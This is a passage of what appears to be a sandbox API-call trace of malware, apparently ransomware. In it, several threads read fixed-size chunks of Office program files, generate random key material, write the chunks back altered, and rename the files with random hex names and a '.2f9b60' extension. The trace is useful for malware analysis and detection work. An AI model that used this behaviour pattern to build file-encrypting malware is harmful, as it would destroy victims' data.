lpOverlapped=0x0) returned 1 [0208.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66b0 [0208.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a66b0) returned 1 [0208.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d520 [0208.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66b0 [0208.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7220 [0208.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7220) returned 1 [0208.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac960 [0208.885] sprintf (in: _Dest=0x431ac960, _Format="%c%c" | out: _Dest="f9") returned 2 [0208.885] sprintf (in: _Dest=0x431ac962, _Format="%c%c" | out: _Dest="28") returned 2 [0208.885] sprintf (in: _Dest=0x431ac964, _Format="%c%c" | out: _Dest="34") returned 2 [0208.885] sprintf (in: _Dest=0x431ac966, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.885] sprintf (in: _Dest=0x431ac968, _Format="%c%c" | out: _Dest="b4") returned 2 [0208.885] sprintf (in: _Dest=0x431ac96a, _Format="%c%c" | out: _Dest="61") returned 2 [0208.885] sprintf (in: _Dest=0x431ac96c, _Format="%c%c" | out: _Dest="52") returned 2 [0208.885] sprintf (in: _Dest=0x431ac96e, _Format="%c%c" | out: _Dest="f7") returned 2 [0208.885] sprintf (in: _Dest=0x431ac970, _Format="%c%c" | out: _Dest="98") returned 2 [0208.885] sprintf (in: _Dest=0x431ac972, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.885] sprintf (in: _Dest=0x431ac974, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.885] sprintf (in: _Dest=0x431ac976, _Format="%c%c" | out: _Dest="90") returned 2 [0208.885] sprintf (in: _Dest=0x431ac978, _Format="%c%c" | out: _Dest="61") returned 2 [0208.885] sprintf (in: _Dest=0x431ac97a, _Format="%c%c" | out: _Dest="cf") returned 2 [0208.885] sprintf (in: _Dest=0x431ac97c, _Format="%c%c" | out: _Dest="e2") returned 2 [0208.885] sprintf (in: _Dest=0x431ac97e, _Format="%c%c" | out: _Dest="89") returned 2 [0208.885] sprintf (in: _Dest=0x431ac980, _Format="%c%c" | out: _Dest="b7") returned 2 [0208.885] sprintf (in: _Dest=0x431ac982, _Format="%c%c" | out: _Dest="fa") returned 2 [0208.885] sprintf (in: _Dest=0x431ac984, _Format="%c%c" | out: _Dest="15") returned 2 [0208.885] sprintf (in: _Dest=0x431ac986, _Format="%c%c" | out: _Dest="24") returned 2 [0208.885] sprintf (in: _Dest=0x431ac988, _Format="%c%c" | out: _Dest="89") returned 2 [0208.885] sprintf (in: _Dest=0x431ac98a, _Format="%c%c" | out: _Dest="7a") returned 2 [0208.885] RtlInitAnsiString (in: DestinationString=0x2878fb48, SourceString="f928345db46152f798e5d39061cfe289b7fa1524897a" | out: DestinationString="f928345db46152f798e5d39061cfe289b7fa1524897a") [0208.885] RtlAnsiStringToUnicodeString (in: DestinationString=0x2878fb18, SourceString="f928345db46152f798e5d39061cfe289b7fa1524897a", AllocateDestinationString=1 | out: DestinationString="f928345db46152f798e5d39061cfe289b7fa1524897a") returned 0x0 [0208.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x431a00f0 [0208.886] wcscat (in: _Dest=0x431a1800, _Source="f928345db46" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f928345db46") returned="C:\\Program Files\\Microsoft Office\\Office14\\f928345db46" [0208.886] wcscat (in: _Dest=0x431a1800, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f928345db46.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f928345db46.2f9b60" [0208.886] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f928345db46.2f9b60", NtPathName=0x2878faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f928345db46.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43146400 Thread: id = 1784 os_tid = 0xfd4 [0132.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic")) returned 0x20 [0133.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic", dwFileAttributes=0x20) returned 1 [0133.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c5c [0134.817] GetFileSizeEx (in: hFile=0x1c5c, lpFileSize=0x288ff860 | out: lpFileSize=0x288ff860*=1854492) returned 1 [0134.817] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x1c4c18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.817] ReadFile (in: hFile=0x1c5c, lpBuffer=0x288ff7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x288ff828, lpOverlapped=0x0 | out: lpBuffer=0x288ff7e0*, lpNumberOfBytesRead=0x288ff828*=0x4, lpOverlapped=0x0) returned 1 [0134.840] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0134.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0134.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a88c0 [0134.840] NtQuerySystemTime (in: CurrentTime=0x288ff720 | out: CurrentTime=0x288ff720*=132462177400798000) returned 0x0 [0134.840] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x6ee901e1 [0134.840] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x53593c8d [0134.840] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x111b7302 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x704d9b87 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x4d19df97 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x1aca75b [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x7529778 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x4862eccb [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x3c98b171 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x444b2aac [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x60caff42 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x6f788f41 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x182f14cb [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x5acfbb40 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x43158b7a [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x5bd4287c [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x1db65c1 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x7571e181 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x6d888c71 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x114fd663 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x1e358fcb [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x5e92d831 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x1495535a [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x2b280e38 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0xbba5275 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x589e2f8 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x3af0c74e [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x75a6605c [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x1a8b1036 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x117aaf23 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x24216c69 [0134.841] RtlRandomEx (in: Seed=0x288ff710 | out: Seed=0x288ff710) returned 0x1b98ea4c [0134.855] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.855] ReadFile (in: hFile=0x1c5c, lpBuffer=0x20328130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x288ff780, lpOverlapped=0x0 | out: lpBuffer=0x20328130*, lpNumberOfBytesRead=0x288ff780*=0x3c00, lpOverlapped=0x0) returned 1 [0134.877] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0134.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0134.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0134.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860840) returned 1 [0134.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2032f950 [0134.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0134.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0134.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e50) returned 1 [0134.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0134.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0134.879] WriteFile (in: hFile=0x1c5c, lpBuffer=0x2032f950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x288ff780, lpOverlapped=0x0 | out: lpBuffer=0x2032f950*, lpNumberOfBytesWritten=0x288ff780*=0x3c00, lpOverlapped=0x0) returned 1 [0161.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2032f950) returned 1 [0161.353] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0xe4c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.353] ReadFile (in: hFile=0x1c5c, lpBuffer=0x20328130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x288ff780, lpOverlapped=0x0 | out: lpBuffer=0x20328130*, lpNumberOfBytesRead=0x288ff780*=0x3c00, lpOverlapped=0x0) returned 1 [0161.378] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0xe4c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0161.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0161.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4010 [0161.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4010) returned 1 [0161.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423485a0 [0161.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4010 [0161.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4040 [0161.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4040) returned 1 [0161.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0161.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0161.380] WriteFile (hFile=0x1c5c, lpBuffer=0x423485a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x288ff780, lpOverlapped=0x0) [0187.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423485a0) returned 1 [0187.130] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x1c101c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.130] ReadFile (in: hFile=0x1c5c, lpBuffer=0x20328130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x288ff780, lpOverlapped=0x0 | out: lpBuffer=0x20328130*, lpNumberOfBytesRead=0x288ff780*=0x3c00, lpOverlapped=0x0) returned 1 [0190.546] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x1c101c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c50 [0190.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138c50) returned 1 [0190.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b3ced0 [0190.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c50 [0190.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c80 [0190.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138c80) returned 1 [0190.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.549] WriteFile (in: hFile=0x1c5c, lpBuffer=0x42b3ced0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x288ff780, lpOverlapped=0x0 | out: lpBuffer=0x42b3ced0*, lpNumberOfBytesWritten=0x288ff780*=0x3c00, lpOverlapped=0x0) returned 1 [0198.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b3ced0) returned 1 [0198.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fde0 [0198.815] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.816] WriteFile (in: hFile=0x1c5c, lpBuffer=0x1cebdfc0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x288ff830, lpOverlapped=0x0 | out: lpBuffer=0x1cebdfc0*, lpNumberOfBytesWritten=0x288ff830*=0x148, lpOverlapped=0x0) returned 1 [0203.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0203.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0203.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0203.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f120 [0203.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0203.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0203.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0203.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0203.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5e270 [0203.789] sprintf (in: _Dest=0x1ce5e270, _Format="%c%c" | out: _Dest="91") returned 2 [0203.789] sprintf (in: _Dest=0x1ce5e272, _Format="%c%c" | out: _Dest="7a") returned 2 [0203.789] sprintf (in: _Dest=0x1ce5e274, _Format="%c%c" | out: _Dest="e2") returned 2 [0203.789] sprintf (in: _Dest=0x1ce5e276, _Format="%c%c" | out: _Dest="e3") returned 2 [0203.789] sprintf (in: _Dest=0x1ce5e278, _Format="%c%c" | out: _Dest="c2") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e27a, _Format="%c%c" | out: _Dest="88") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e27c, _Format="%c%c" | out: _Dest="d3") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e27e, _Format="%c%c" | out: _Dest="a6") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e280, _Format="%c%c" | out: _Dest="4e") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e282, _Format="%c%c" | out: _Dest="5c") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e284, _Format="%c%c" | out: _Dest="7e") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e286, _Format="%c%c" | out: _Dest="cc") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e288, _Format="%c%c" | out: _Dest="d4") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e28a, _Format="%c%c" | out: _Dest="14") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e28c, _Format="%c%c" | out: _Dest="4e") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e28e, _Format="%c%c" | out: _Dest="2e") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e290, _Format="%c%c" | out: _Dest="27") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e292, _Format="%c%c" | out: _Dest="1c") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e294, _Format="%c%c" | out: _Dest="c5") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e296, _Format="%c%c" | out: _Dest="10") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e298, _Format="%c%c" | out: _Dest="93") returned 2 [0203.790] sprintf (in: _Dest=0x1ce5e29a, _Format="%c%c" | out: _Dest="f1") returned 2 [0203.790] RtlInitAnsiString (in: DestinationString=0x288ff8a8, SourceString="917ae2e3c288d3a64e5c7eccd4144e2e271cc51093f1" | out: DestinationString="917ae2e3c288d3a64e5c7eccd4144e2e271cc51093f1") [0203.790] RtlAnsiStringToUnicodeString (in: DestinationString=0x288ff878, SourceString="917ae2e3c288d3a64e5c7eccd4144e2e271cc51093f1", AllocateDestinationString=1 | out: DestinationString="917ae2e3c288d3a64e5c7eccd4144e2e271cc51093f1") returned 0x0 [0203.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4309fc90 [0203.791] wcscat (in: _Dest=0x1b86be50, _Source="917ae2e3c28" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\917ae2e3c28") returned="C:\\Program Files\\Microsoft Office\\Office14\\917ae2e3c28" [0203.791] wcscat (in: _Dest=0x1b86be50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\917ae2e3c28.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\917ae2e3c28.2f9b60" [0203.791] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\917ae2e3c28.2f9b60", NtPathName=0x288ff850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\917ae2e3c28.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43131590 Thread: id = 1785 os_tid = 0xfd8 [0132.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic")) returned 0x20 [0133.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic", dwFileAttributes=0x20) returned 1 [0133.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ca4 [0135.180] GetFileSizeEx (in: hFile=0x1ca4, lpFileSize=0x28a1fae0 | out: lpFileSize=0x28a1fae0*=3499942) returned 1 [0135.181] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x3567a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.181] ReadFile (in: hFile=0x1ca4, lpBuffer=0x28a1fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28a1faa8, lpOverlapped=0x0 | out: lpBuffer=0x28a1fa60*, lpNumberOfBytesRead=0x28a1faa8*=0x4, lpOverlapped=0x0) returned 1 [0135.213] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0135.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262780 [0135.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636b0 [0135.214] NtQuerySystemTime (in: CurrentTime=0x28a1f9a0 | out: CurrentTime=0x28a1f9a0*=132462177404542000) returned 0x0 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x10cf4c23 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x48188a00 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x10b0b0cc [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x37cbed7a [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x8c58949 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0xc5e0973 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x3b863a32 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x5b138c7c [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x55e1abda [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x41004b62 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x6f36e3f2 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x4bf06724 [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x10215b3b [0135.214] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0xf8c7cba [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x28fc7c0c [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0xd80236d [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x22e9aa0f [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x74f9d2b5 [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x5da7959b [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x319d84bd [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x7ca1babb [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x44bdd1d2 [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x4008376a [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x5cfdae86 [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x5a5e2d1 [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x9ffbee [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x5837d319 [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x3a0d55fc [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0xd4b8463 [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x541b3dfd [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x20ae9c2e [0135.215] RtlRandomEx (in: Seed=0x28a1f990 | out: Seed=0x28a1f990) returned 0x7f22dc9c [0135.228] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.228] ReadFile (in: hFile=0x1ca4, lpBuffer=0x203918d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28a1fa00, lpOverlapped=0x0 | out: lpBuffer=0x203918d0*, lpNumberOfBytesRead=0x28a1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0135.240] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dd70 [0135.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e8f0 [0135.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e8f0) returned 1 [0135.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203954e0 [0135.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e8f0 [0135.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0135.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0135.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0135.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 